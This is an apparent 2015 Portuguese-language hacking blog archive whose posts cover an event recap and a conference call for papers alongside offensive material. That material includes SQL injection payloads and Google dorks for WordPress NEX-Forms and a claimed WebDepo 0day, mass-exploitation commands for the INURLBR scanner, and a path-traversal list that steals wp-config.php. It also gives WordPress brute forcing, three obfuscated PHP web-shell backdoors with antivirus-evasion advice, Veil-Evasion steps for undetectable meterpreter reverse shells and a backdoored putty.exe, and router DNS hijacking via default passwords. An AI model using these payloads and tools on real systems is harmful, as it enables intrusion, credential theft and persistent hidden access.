Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

domingo, 26 de abril de 2015

Roadsec 2015 #Palestra #Hackaflag

Roadsec 2015 #Palestra #Hackaflag



   Eae galera tudo certo, jh00n aqui novamente com vocês, Hoje eu vou está compartilhando minha experiencia no Roadsec Brasilia que ocorreu no sábado 11/04.

                                   
   Primeiramente quero parabenizar a equipe organizadora do Roadsec, ao Anderson Ramos organizador do evento por ter depositado confiança em mim e na minha palestra, e claro não pode se esquecer da Marina Rocha por ter tido bastante paciência <3.

   O tema da palestra abordado no Roadsec 2015 foi: "Explorando vulnerabilidades DNSCHANGER" onde expliquei o conceito básico sobre DNS, como seria realizado um ataque de alteração de DNS em router's(roteadores) vulneráveis e como se proteger. Durante a palestra foi demonstrado como seria o ataque DNSChanger automatizado e para isso utilizei o scanner routerhunterbr. Os slides, vídeos, fotos estão disponibilizados logo abaixo




#Hackaflag - CTF



 Como alguns sabem eu fui vencedor do #hackaflag aqui em BSB com 110 Pontos, só que como a organização já tinha dito alguns dias atrás que palestrante não ganharia premiação (Viagem SP - Final) participei mesmo só para brincar e o vencedor foi o Ulisses Alves. O hackaflag começava as 14:00 cheguei case 1 hora e meia atrasado e ainda conseguir alcançar o pessoal.

  Então galera sem muito mimi, vamos as dicas sobre o hackaflag, já tem uma galera me cobrando. Teve vários tipos de desafios: Exploit, Engenharia Reversa, Criptografia, Análise de Dados, Web cada etapa tinha uma dica para aquele desafio.

 Exploit:

  Primeiro eles disponibilizaram uma rede wifi e um painel para você visualizar cada desafios e inserir as flag's capturadas. Na etapa de exploit foi dado um IP que você tinha que da um jeito de entrar para capturar a flag. Já dentro da maquina sair procurando arquivo por arquivo, depois de muito tempo quebrando a cabeça atoa procurando a flag, encontrei um "flag.lnk" que era um atalho de um arquivo "C://flag.txt".


Web:
  Na etapa (Web), Era uma página html simples, com uma textbox e um button, visualizei o código fonte da página, de cara tinha uma pequena autenticação em javascript, seria fácil de mais se fosse esse mesmo. Existia um javascript oculto que era o que funcionava!

Net:

 Na etapa de (Net) Era disponibilizado um arquivo .pcap que você tinha que analisar os dados com wireshark e entrar com usuario e senha em um servidor FTP e encontrar a flag.


O Termino era as 17:00, como eu já tinha chegado não deu para completar o restante dos desafios :(






terça-feira, 21 de abril de 2015

WordPress NEX-Forms 3.0 SQL Injection Vulnerability

The "submit_nex_form" ajax function is affected from SQL Injection vulnerability

  [ I N U R L  -  B R A S I L ] - [ By GoogleINURL ]
  -----------------------------------------------------------------------------

# AUTOR SCRIPT:  Cleiton Pinheiro / Nick: googleINURL
# Email:        [email protected]
# Blog:          http://blog.inurl.com.br
# Twitter:      https://twitter.com/googleinurl
# Fanpage:    https://fb.com/InurlBrasil
# Pastebin     http://pastebin.com/u/Googleinurl
# GIT:           https://github.com/googleinurl
# PSS:           http://packetstormsecurity.com/user/googleinurl
# YOUTUBE: http://youtube.com/c/INURLBrasil
# PLUS:          http://google.com/+INURLBrasil

- Who Discovered http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli
- Vulnerability discovered by: Claudio Viviani
  -----------------------------------------------------------------------------

- EXPLOIT NAME: MINI exploit-SQLMAP - WordPress NEX-Forms 3.0 SQL Injection Vulnerability / INURL BRASIL
- VENTOR:       https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
- Dork Google:  inurl:nex-forms-express-wp-form-builder
- Dork Google:  index of nex-forms-express-wp-form-builde
- GET VULN:     nex_forms_Id=(id)
- $nex_forms_Id=intval($_REQUEST['nex_forms_Id'])
  -----------------------------------------------------------------------------

- DBMS:        'MySQL'
- Exploit:       AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)
  -----------------------------------------------------------------------------

Info:  The "submit_nex_form" ajax function is affected from SQL Injection vulnerability
POC: http://target/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=(id)+Exploit
  -----------------------------------------------------------------------------

- --help:
   -t : SET TARGET.
 -f : SET FILE TARGETS.
 -p : SET PROXY
  Execute:
  php wp3xplo1t.php -t target
  php wp3xplo1t.php -f targets.txt
  php wp3xplo1t.php -t target -p 'http://localhost:9090'
  -----------------------------------------------------------------------------

- EXPLOIT MASS USE SCANNER INURLBR
- COMMAND: 
./inurlbr.php --dork 'inurl:nex-forms-express-wp-form-builder' -s wp3xplo1t.txt -q 1,6 --command-all "php wp3xplo1t.php -t '_TARGET_'"

- DOWNLOAD INURLBR:
https://github.com/googleinurl/SCANNER-INURLBR
  -----------------------------------------------------------------------------

- INFO:           http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli/

[!] CODE XPL:
- Xpl script: https://github.com/googleinurl/WordPress-NEX-Forms-3.0-SQL-Injection-Vulnerability

OUTPUT PRINT: 


  OUTPUT PRINT:

OUTPUT SQLMAP: 
 [03:18:37] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
 [03:20:45] [INFO] GET parameter 'nex_forms_Id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
 [03:24:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
 [03:24:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
 [03:25:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
 [03:25:11] [INFO] checking if the injection point on GET parameter 'nex_forms_Id' is a false positive
 GET parameter 'nex_forms_Id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
 sqlmap identified the following injection points with a total of 85 HTTP(s) requests:
 ---
 Parameter: nex_forms_Id (GET)
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: action=submit_nex_form&nex_forms_Id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))NdbE)
 ---
 [03:25:12] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux
 web application technology: PHP 5.4.3, Apache 2.2.3
 back-end DBMS: MySQL 5.0.12

quinta-feira, 9 de abril de 2015

CONCEITO DE SUB_PROCESS / SCANNER INURLBR 2.0

 SUB_PROCESS - Consiste em concatenar uma serie de strings com base de um arquivo predefinido.

 Consiste em concatenar uma serie de strings com base de um arquivo predefinido.

============================================================


[!] LISTA DE STRING'S QUE SERÁ EXECUTADA(concatenada) PRA CADA ALVO ENCONTRADO.

  1. ['LIST_XPL_NAME']: = listxpl_wordpress_afd.txt

Conteúdo arquivo - URL XPL Wordpress Vulnerability Arbitrary File Download:


  • /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
  • /wp-content/force-download.php?file=../wp-config.php
  • /wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php
  • /wp-content/themes/SMWF/inc/download.php?file=../wp-config.php
  • /wp-content/themes/markant/download.php?file=../../wp-config.php
  • /wp-content/themes/yakimabait/download.php?file=./wp-config.php
  • /wp-content/themes/TheLoft/download.php?file=../../../wp-config.php
  • /wp-content/themes/felis/download.php?file=../wp-config.php
  • /wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php
  • /wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php
  • /wp-content/themes/epic/includes/download.php?file=wp-config.php
  • /wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php
  • /wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
  • /wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php
  • /wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php
  • /wp-content/themes/lote27/download.php?download=../../../wp-config.php
  • /wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php
  • /wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php
  • /wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php
  • /wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php
  • /wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php
  • /wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php
  • /wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php

--------------------------------------------------------------------------------------

[!] CMS WORDPRESS VALIDATION / INURLBR 2.0
 Já possui tal validação por padrão padrão interno.

  • ['CMS-WORDPRESS-01'] = "define('DB_NAME'";
  • ['CMS-WORDPRESS-02'] = "define('DB_USER'";
  • ['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'";
  • ['CMS-WORDPRESS-04'] = "define('DB_HOST'";

--------------------------------------------------------------------------------------

 [!] Running subprocesses:
 
 --sub-file  Subprocess performs an injection 
     strings in URLs found by the engine, via GET or POST.
     Example: --sub-file {youfile}
     Usage:   --sub-file exploits_get.txt
         
 --sub-get defines whether the strings coming from 
     --sub-file will be injected via GET.
     Usage:   --sub-get
         
 --sub-post defines whether the strings coming from 
     --sub-file will be injected via POST.
     Usage:   --sub-get

[!] Descrição de comando usado:

  1. DEFINIR DORK:                       --dork 'DORK'
  2. DEFINIR ARQUIVO FONTE:  -s 'output.txt'
  3. DEFINIR DORK:                       --sub-file 'file_subprocess.txt'
  4. FLAG TIPO REQUEST:            --sub-get / FLAG
  5. FLAG FILTRO HOST:              --unique  / HOST ÚNICOS EM SEU RESULTADO


[!] COMMAND EXEC:
GO! GO! ~
php inurlbr.php --dork 'site:br "Index of /wp-content/plugins/revslider"' -s teste.txt --sub-file 'listxpl_wordpress_afd.txt' --sub-get --unique
--------------------------------------------------------------------------------------

CADA BARRINHA  QUE É DEMONSTRADA, É UM PROCESSO DE VALIDAÇÃO..
Dá mesma forma que usei uns (strings/urls)xpls Wordpress, pode ser usado de outros CMS's...
ou URL's padrões para tentar gerar erros SQLI no server, Ataques LFI dá mesma forma..

[!] VÍDEO DEMONSTRATIVO:

Baixar scanner INURLBR 2.0: 
https://github.com/googleinurl/SCANNER-INURLBR




[ Neither war between hackers, nor peace for the system. ]



terça-feira, 31 de março de 2015

Inurlbr dorking + Wordpress brute forcing

[ Inurlbr dorking + Wordpress brute forcing ]

[ Inurlbr dorking + Wordpress brute forcing ]

    Eae galera, esses dias eu estava pesquisando algumas falhas em wordpress, então tive uma ideia de montar um script que realiza-se um bruteforce em wordpress's, Só que antes ele cata-se os sites com cms (Wordpress) e salva-se em um .txt.

    Pensei em fazer essa etapa de dorking na mão, mas pra quer ter esse trabalho todo quando se pode se utilizar o nosso scaner Inurlbr <3 com as dorks já definidas. Depois de catar as url na etapa de dorking com Inurlbr, Montei o script que verifica se aquela url trabalha ou não com Wordpress, caso não trabalhar ele te print na tela "Not is wordpress" caso contrario ele realizará o bruteforce com senhas padrões contidas dentro do código. No script tem poucas senhas mas você pode incrementar mas senhas ou se você tiver um pequeno conhecimento em python você pode colocar o script para carregar um wordlist.txt.

   A etapa de dorking você pode escolher em fazer manualmente ou deixar o script fazer por você, na execução ele ira te perguntar; Dorking use to find sites using the inurlbr? [Y][N].



[ COMMAND SCANNER INURLBR ]

  • ./inurlbr.php -q 1,6 --dork "[DORK]inurl:wp-content site:.com.br[DORK]inurl:wp-content/plugins/ site:.com.br" -s list.txt --comand-all "echo _TARGET_ >> list.txt"
  • Você pode adicionar mas dorks no comando do scanner, seperando elas com "[DORK]"

  [DEMO]






sexta-feira, 27 de março de 2015

(0DAY) WebDepo - SQL injection

EXPLOIT NAME: MINI exploit-SQLMAP - (0DAY) WebDepo -SQL injection / INURL BRASIL

Nas minhas pesquisas na web, sobre file_upload descobre um CMS da empresa israelense WebDepo, o mesmo possui falha de file_upload sem autenticação, mas analisando seus GETS pude observar que também tem falhas SQLi em seus parâmetros GET.

AUTOR:       GoogleINURL
Blog:             http://blog.inurl.com.br
Twitter:         https://twitter.com/googleinurl
Fanpage:       https://fb.com/InurlBrasil
Pastebin:       http://pastebin.com/u/Googleinurl
GIT:              https://github.com/googleinurl
PSS:              http://packetstormsecurity.com/user/googleinurl
YOUTUBE:  http://youtube.com/c/INURLBrasil
PLUS:           http://google.com/+INURLBrasil



VENTOR:         http://www.webdepot.co.il
GET VULN:     wood=(id) / $wood=intval($_REQUEST['wood'])
  -----------------------------------------------------------------------------

DBMS: 'MySQL'
Exploit:      +AND+(SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

DBMS: 'Microsoft Access'
Exploit:      +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
  -----------------------------------------------------------------------------

http://target.us/text.asp?wood=(id)+Exploit

GOOGLE DORK:   inurl:"text.asp?wood="
GOOGLE DORK:   site:il inurl:"text.asp?wood="
GOOGLE DORK:   site:com inurl:"text.asp?wood="  

Exploit:

Execute exploit:
--help:
  -t : SET TARGET.
  -f : SET FILE TARGETS.
  -p : SET PROXY
  Execute:
  php WebDepoxpl.php -t target
  php WebDepoxpl.php -f targets.txt
  php WebDepoxpl.php -t target -p 'http://localhost:9090'

DOWNLOAD Exploit: http://pastebin.com/b6bWuw7k
  -----------------------------------------------------------------------------

EXPLOIT MASS USE SCANNER INURLBR
COMMAND: ./inurlbr.php --dork 'site:il inurl:text.asp?wood= ' -s 0dayWebDepo.txt -q 1,6 --exploit-get "?´'0x27" --command-all "php 0dayWebDepo.php -t '_TARGET_'"


EXPLOIT MASS USE SCANNER INURLBR COMMAND: ./inurlbr.php --dork 'site:il inurl:text.asp?wood= ' -s 0dayWebDepo.txt -q 1,6 --exploit-get "?´'0x27" --comand-all "php 0dayWebDepo.php -t '_TARGET_'"

DOWNLOAD INURLBR: https://github.com/googleinurl/SCANNER-INURLBR

VÍDEO 
  -----------------------------------------------------------------------------

A segunda falha:
Exploit fckeditor 2015
Vídeo: https://www.youtube.com/watch?v=2g1xxkMVgPk  
GOOGLE DORK: inurl:"/text.asp?wood=" site:il
Exploit: -admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

A segunda falha: Exploit fckeditor 2015  GOOGLE DORK: inurl:"/text.asp?wood=" site:il Exploit: -admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

POC:
[1] - http://target.us/target-admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

[2] - http://target.us/userfiles/file/{YOU_FILE}

quarta-feira, 25 de março de 2015

Aberto a Chamada de Trabalhos / Conferência O Outro Lado Security BSides São Paulo (Co0L BSidesSP)

Aberto a Chamada de Trabalhos (CFP) para a próxima edição da Co0L BSidesSP está aberta !!!

Aberto a Chamada de Trabalhos (CFP) para a próxima edição da Co0L BSidesSP está aberta !!!

A "Conferência O Outro Lado Security BSides São Paulo" (Co0L BSidesSP) é uma mini-conferência gratuita organizada por profissionais envolvidos com o mercado de segurança da informação. O principal objetivo da Co0L BSidesSP é o de permitir a inovação, discussão e a troca de conhecimento sobre segurança da informação e cultura hacker, em um clima descontraído e dentro de uma abordagem aonde estas disciplinas se complementam.
A Co0L BSidesSP faz parte das conferências “Security BSides” (www.securitybsides.com) existentes em vários países, com propósito de fomentar a comunidade local de segurança e que acontecem em conjunto com algum grande evento da área.
A página abaixo tem os detalhes do CFP e o link para o formulário de submissão de conteúdo. A submissão de palestras e oficinas vai somente até o dia 20/04/2015. https://garoa.net.br/wiki/O_Outro_Lado_BSidesSP_ed_11/CFP https://garoa.net.br/wiki/O_Outro_Lado_BSidesSP_ed_11/CFP_EN (English Version) As atividades devem ter conteúdo relacionado a Segurança da Informação, Cultura Hacker ou qualquer forma de Hacking. Além de palestra e oficinas (com conteúdo mais prático), o CFP também serve para as Lightning Talks e atividades no Hacker Carreer Fair, Brazilian Arsenal e na "Bsides 4 Kids" (atividades voltadas para crianças e adolecentes). Datas Importantes:

A página abaixo tem os detalhes do CFP e o link para o formulário de submissão de conteúdo. A submissão de palestras e oficinas vai somente até o dia 20/04/2015.

  1. https://garoa.net.br/wiki/O_Outro_Lado_BSidesSP_ed_11/CFP
  2. https://garoa.net.br/wiki/O_Outro_Lado_BSidesSP_ed_11/CFP_EN (English Version)

As atividades devem ter conteúdo relacionado a Segurança da Informação, Cultura Hacker ou qualquer forma de Hacking. Além de palestra e oficinas (com conteúdo mais prático), o CFP também serve para as Lightning Talks e atividades no Hacker Carreer Fair, Brazilian Arsenal e na "Bsides 4 Kids" (atividades voltadas para crianças e adolecentes).
Datas Importantes:

  • - Data final para submissão de palestras e oficinas: 20/04
  • - Notificação aos autores selecionados: 23/03
  • - Divulgação da Agenda: 24/04
  • - Início das inscrições: 24/04
  • - Co0L BSidesSP v11: 24/05

terça-feira, 24 de março de 2015

WORDPRESS Revslider Exploit (0DAY) / INURL - BRASIL

WORDPRESS EXPLOIT Revslider

Exploit que possibilita modificação do arquivo HTML da pagina, o plugin Revslider da plataforma CMS Wordpress  é bem conhecido por outras brechas de segurança, pois bem dessa vez é possível fazer uma pequena modificação do arquivo get_captions_css.

Exploit que possibilita modificação do arquivo HTML da pagina, o plugin Revslider da plataforma CMS Wordpress  é bem conhecido por outras brechas de segurança, pois bem dessa vez é possível fazer uma pequena modificação do arquivo get_captions_css. 

Enviando a requisição:
Via post com seguintes campos:
array(
"action" => "revslider_ajax_action",
"client_action" => "update_captions_css",
 "data" => "_YOU_HTML_ADD_"
 );

Dentro no campo data é onde enviamos nosso HTML modificado.
Nossa array post com os dados já previamente preechidos são enviados para seguinte
URL - POST: http://{target}/wp-admin/admin-ajax.php

Com todo processo terminado podemos verifica se foi modificado o HTML do alvo.
URL - FINAL:  http://{target}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css 

USANDO EXPLOIT : 
DOWNLOAD:  http://pastebin.com/a2LHiD7U

EXECUTE:
    -t : SET TARGET.
    -f : SET FILE TARGETS.
    -p : SET PROXY
    Execute:
         php exploit.php -t target
         php exploit.php -f targets
         php exploit.php -t target -p 'http://localhost:9090'



OUTPUT COMAND -t:
OUTPUT: WORDPRESS Revslider Exploit (0DAY) / INURL - BRASIL

OUTPUT COMAND -f targets.txt:
OUTPUT COMAND -f targets.txt:


Usando em massa com SCANNER INURLBR:
DOWNLOAD:
https://github.com/googleinurl/SCANNER-INURLBR 

COMANDO:
./inurlbr.php --dork 'inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s vull.txt  -q 1,6  --comand-all 'php inurl_revslider.php -t _TARGET_'

OUTPUT:
OUTPUT: ./inurlbr.php --dork 'inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s vull.txt  -q 1,6  --comand-all 'php inurl_revslider.php -t _TARGET_'

sábado, 21 de março de 2015

INURL - BRASIL / Simple Shell Backdoor

Maneiras simples de acesso escondido.

No desenvolvimento de software, a ofuscação é o ato deliberado de criação de código ofuscado, ou seja, de origem ou código de máquina que é difícil para o ser humano de entender. Como ofuscação em linguagem natural, pode usar expressões desnecessariamente rotunda para compor declarações.  Os programadores podem deliberadamente ofuscar código para esconder a sua finalidade (segurança pela obscuridade) ou a sua lógica, a fim de evitar a violação, impedir a engenharia reversa, ou como um quebra-cabeça ou desafio de lazer para alguém que lê o código fonte.  Programas conhecidos como obfuscators transformar código legível em código ofuscado usando várias técnicas.


Script php shell de exploração utilizando function nativos do PHP e tentando melhorar a dinâmica e forma de uso do script.
Para executar comandos em um servidor em sua SHELL podemos usar as seguintes functions nativas:

  1. shell_exec -  Executa um comando via shell e retorna a saída inteira como uma string.
  2. system - Executa um programa externo e mostra a saída.
  3. exec - Executa um programa externo.
  4. passthru - Executa um programa externo e mostra a saída crúa. 


Com o grande numero de scanners/aplicações de segurança que tem o objetivo procurar arquivos maliciosas em seus servidores, muitos estão optando por usar um script simples para escapar dos famigerados AV's ("nada é 100% juntando isso com ofuscação de código você tem mais invisibilidade ").
Tais scripts tem o objetivo de manter o acesso do atacante, logo abaixo temos 3 modelos de script php que nem um mostra nome de functions nativas php, script pequeno e objetivo.


[+MODEL-01 CODE >>
<?php $__=@base64_decode("c3lzdGVt");echo@$__(isset($_REQUEST[0])?$_REQUEST[0]:NULL);
?>

[+] MODEL-02 CODE >>
<?php
echo(`{$_REQUEST[0]}`);
?>


[+MODEL-03 CODE >>
<?php $_=$_REQUEST[0];@$__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"));@$__($_); 
?>
SOURCE SCRIPTShttp://pastebin.com/D07wPKmA

Usando o script depois de upado:
EX: http://localhost/of.php?0={COMMAND_ENCOD_URL}

curl "http://localhost/of.php?0=uname%20-a%20%26%26%20ls%20-la"


Exemplo de RESULTADO:

Usando o script depois de upado:  EX: http://localhost/of.php?0={COMMAND_ENCOD_URL}  curl "http://localhost/of.php?0=uname%20-a%20%26%26%20ls%20-la"   Exemplo de RESULTADO:
OBS: Os 3 script exemplos foram anexados a um arquivo par gerar tal output.

OFUSCANDO SEU CÓDIGO:
No desenvolvimento de software, a ofuscação é o ato deliberado de criação de código ofuscado, ou seja, de origem ou código de máquina que é difícil para o ser humano de entender. Como ofuscação em linguagem natural, pode usar expressões desnecessariamente rotunda para compor declarações.

Os programadores podem deliberadamente ofuscar código para esconder a sua finalidade (segurança pela obscuridade) ou a sua lógica, a fim de evitar a violação, impedir a engenharia reversa, ou como um quebra-cabeça ou desafio de lazer para alguém que lê o código fonte.

Programas conhecidos como obfuscators transformar código legível em código ofuscado usando várias técnicas.
Serviço online FOPO:
FOPO creates equivalent PHP obfuscated code which requires no special server runtime for execution. It's not one-way encryption but it will keep curious eyes away from your code. Submitted code gets deleted immediately after obfuscation and is not stored in any way. If you have any comments or suggestions feel free to reach me at fopo@dynsur.com.  Note: In case you've lost the original source code and you are the proven owner of it, a one-way encrypted copy is saved within the obfuscated output and I'll kindly assist you in recovering it.
Obfuscator: http://fopo.com.ar/



# REF:
# http://php.net/manual/en/language.operators.execution.php#language.operators.execution
# https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell
# http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
http://php.net/manual/pt_BR/book.exec.php
http://curl.haxx.se/docs/httpscripting.html
http://pastebin.com/D07wPKmA
http://fopo.com.ar/
http://en.wikipedia.org/wiki/Obfuscation_%28software%29

sexta-feira, 20 de março de 2015

Conhecendo Veil-framework

Veil-framework

Veil-framework

Veil-framework é uma coleção de ferramentas de segurança (red team) que implementam varios metodos de ataque, com foco
em burlar a detecçao dos anti-virus e 'Veil' é o super projecto para os lançamentos (stable) das ferramentas da veil-framework.
a framework é desenvolvida por: @Harmj0y, @ChrisTruncer, @TheMightyShiv.

E contem actualmente os seguintes modulos:
Veil-Evasion: uma ferramenta para gerar payloads indetectaveis (FUD) usando uma variedade de tecnicas e linguagens.
Veil-Catapult: um systema de entrega de payloads ao estilo do psexec (smb)
Veil-Pillage: uma ferramenta de pós-exploraçao modular (depois do alvo ser explorado)
Veil-PowerTools: projectos powershell com foco em operaçoes ofencivas
Veil-Ordnance: uma ferramenta para gerar shellcode e obfusca-lo usando 2 'encoders' escritos especialmente para este modulo.

Veil-framework: https://www.veil-framework.com/framework/veil-evasion/
Veil-framework (GITHUB): https://github.com/Veil-Framework/
e Veil super projecto (GITHUB): https://github.com/Veil-Framework/Veil
"e que recomendo á maioria dos usuarios a clonar e installar"
  1. [[ Download and install Veil Super Project ]]
  2. git clone https://github.com/Veil-Framework/Veil.git
  3. cd Veil
  4. chmod +x Install.sh
  5. ./install.sh
Como a framework é dividida em diferentes modulos seria dificil neste artigo me referir a todos eles, por isso vamos nos focar em descrever o modulo 'veil-Evasion' ( framework interface + command line syntax + cobalt strike 'cortana integration' ) que consiste na criação de payloads indetectaveis, deixando para outro artigo a descrição dos restantes modulos (veil-Catapult | Veil-Pillage | Veil-powerTools).





Veil-Evasion

A ferramenta de AV-evasão, escrita por Chris truncer chamada 'Veil-Evasion' propõe uma protecção eficaz contra a detecção de exploits autonomos, veil-evasion agrega varias tecnicas de injeção de shellcode em uma estrutura que simplifica o gerenciamento. Como framework Veil-Evasion possui varios recursos e inclui o seguinte:

1 - incorpora shellcode em uma variedade de linguagens de programaçao incluindo C, C#, Ruby, python
2 - pode integrar ferramentas externas como Hyperion (criptografia arquivo EXE com AES-128 bit) PEScrambler (obfuscate win32 binaries) e backdoor_factory (patch executaveis com shellcode e continuar a execução normal do estado anterior ao prepatched state)
3 - a sua funcionalidade pode ser 'scripted' para automatizar a implementação (command line syntax)
4 - payloads em python podem ser obfuscados/compilados em exe usando PyInstaller, Pwnstaller, Py2Exe.
5 - Veil-Evasion pode ser integrado no cobalt strike atravez da utilizaçao de um 'script cortana' (veil_evasion.cna) by Harmj0y.


Uma vez que um exploit foi criado, o tester deve verificar o payload contra o VirusTotal para garantir que ele não vai disparar um alerta quando é colocado no systema de destino, se a amostra é submetida directamente ao VirusTotal e é bandeirada (flag)  de comportamento como software malicioso, em seguida uma actualização de assinatura contra a apresentação pode ser libertada por antivirus (AV) fornecedores em menos de 1 hora, é por isso que os usuarios são advertidos com a mensagem:
"não enviar amostras para qualquer scanner online"

Veil-Evasion permite os testers de usar um check seguro contra VirusTotal. quando qualquer payload é gerado, um hash (SHA1) é criado e adicionado ao hashs.txt localizado no directorio do Veil-Framework (/usr/share/Veil-Evasion/hashs.txt), testers podem chamar o script 'checkvt' para apresentar os hashes para o VirusTotal, que irá verificar os valores de hash SHA1 contra a sua base de dados de mallware. se um payload Veil-Evasion desencadeia uma correspondencia, então o tester sabe que pode ser detectado pelo systema de destino. O 'checkvt' apresenta um resultado positivo (mallware) se 1 dos 44 AV's usados pelo Virus-Total o descobrir, (querendo dizer que ele pode ser considerado mallware só pelo AVG e mesmo assim a SHA1 ver flagged como mallware).

A equipe Veil-Evasion está começando algo que estamos chamando de "V-Day", para a vitória sobre a detecçao por parte dos AntiVírus. No dia 15 de cada mês pelo menos um novo módulo de carga útil (payload) será liberado.





   TUTORIAL 'c/meterpreter/rev_tcp' compiled to exe

list available payloads
TUTORIAL 'c/metrepreter/rev_tcp' compiled to exe  list available payloads


    select payload to be loaded
       select payload to be loaded


config payload settings
config payload settings


output payload name
output payload name


copy files to your home folder
copy files to your home folder


      lançar resource file (multi-handler): msfconsole -r inurlTuto_handler.rc
 lançar resource file (multi-handler): msfconsole -r inurlTuto_handler.rc


execute payload on target machine
execute payload on target machine




     'c/meterpreter/rev_tcp' compiled to exe (command line syntax)

   A framework tambem vem equipada de uma 'command line syntax' que pode ser usada para incorporar o Veil-Evasion nos nossos        propios projectos paralelos, e pode ser acedida com o command './Veil-Evasion.py -h' tambem nos podemos usar da 'syntax' da              ferramenta para criar o mesmo payload (c/meterpreter/rev_tcp) sem precisarmos de entrar na toolkit.

                                                                    Building payloads (command line syntax):
                 ./Veil-Evasion.py -p c/meterpreter/rev_tcp -c LHOST=192.168.1.68 LPORT=666 compile_to_exe=y -o inurlTuto
                    ./Veil-Evasion.py -p auxiliary/coldwar_wrapper -c original_exe=/home/pedro/putty.exe -o putty-backdoored
   ./Veil-Evasion.py -p ruby/meterpreter/rev_tcp -c LHOST=192.168.1.68 LPORT=666 compile_to_exe=y -o rubypayload-to-exe

Files de configuração da tookit podem ser encontrados em '/etc/veil/settings.py' e permite-nos configurar 'internal settings' como:
1 - Path to output the source of payloads 2 - Path to output compiled payloads
3 - Whether to generate a msf handler script and where to place it
4 - The path to pyinstaller for example: /opt/pyinstaller-2.0/



    '(armitage & cobalt strike) Veil-Evasion cortana integration'

Cortana é uma linguagem de scripting de ataque baseada em 'sleep' ambos escritos por raphael mudge,
cortana permite a manipulaçao avançada de armitage ou cobalt strike. Harmj0y construiu um script (.cna) para intregar o Veil-Evasion directamente no armitage ou cobalt strike usando 'cortana scripting', para carrega-lo basta seleccionar 'script' -> load e navegar ate ao 'veil_evasion.cna' script para intergrar o Veil-Evasion directamenta nas frameworks armitage ou cobalt strike.

na primeira execuçao voce sera solicitado a introduzir o path de instalaçao da Veil-Evasion, depois de carregar o script cortana, um menu Veil-Evasion sera aberto na barra superior (cobalt strike), clicando sobre ele abre o 'Veil-Evasion' menu que ira permitir que voce gere uma carga util (payload). "em armitage teremos que loadar o script cortana em: armitage -> scripts -> load"
original article: https://www.veil-framework.com/veil-evasion-cortana-integration/








'c/meterpreter/rev_tcp' video tutorial

By @peterubuntu10[at]sourceforge[dot]net @2015
aka [ r00t-3xp10it ]


terça-feira, 17 de março de 2015

[DSLink 260E] - Defaut Passwords DNS Change

xplDSLink260E SCANNER

Ah um tempo atrás eu estava pesquisando alguns router(roteadores) vulneráveis a diversos tipos de ataques mas comuns, Durante a pesquisa encontrei 10 routers com senhas padrões em apenas um range de ip do modelo DSLink 260E, Todos com senhas padrões e com (forms) para alteração de DNS! Nos 10 routers conseguir realizar a alteração de DNS.

Eae galera tudo certo ?

Ah um tempo atrás eu estava pesquisando alguns router(roteadores) vulneráveis a diversos tipos de ataques mas comuns, Durante a pesquisa encontrei 10 routers com senhas padrões em apenas um range de ip do modelo DSLink 260E, Todos com senhas padrões e com (forms) para alteração de DNS, Em 10 routers obtive sucesso realizando alteração de DNS.

